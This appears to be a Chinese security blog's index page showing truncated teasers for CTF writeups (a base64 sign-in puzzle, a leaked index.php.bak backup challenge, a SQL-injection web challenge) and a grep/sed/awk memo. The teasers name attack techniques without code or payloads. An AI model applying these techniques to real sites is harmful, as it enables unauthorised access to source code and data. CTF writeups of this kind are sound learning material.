    首先，护网杯对新手不友好。看题看到绝望！！！全程懵逼状态。好啦不吐槽啦。。。。 进入正题：迟来的签到题 首先从文件下载下来看着像base64.但通过base64解码工具解码出来 V_UPVSUSUQR^W_###QV'R...

    护网杯签到题
  • bugku备份是个好习惯

    本题提示备份： 首先，可以用御剑等工具进行扫描,发现存在备份泄露，然后可以进行index.php.bak。对原码进行下载分析。 <?php /** * Created by PhpStorm. * User: Nors...

    bugku备份是个好习惯
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉，今天来学习一下，做个备忘录。 grep格式： grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的，除啦环境可能有时候有点问题。（就让我遇到了。心态炸了一天。。。）其他都挺好的。 DAY1简单的招聘系统知识点：sql注入的联合注入或盲注存在注册和登陆功能，首先进行注册后登陆进系统，发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
ESC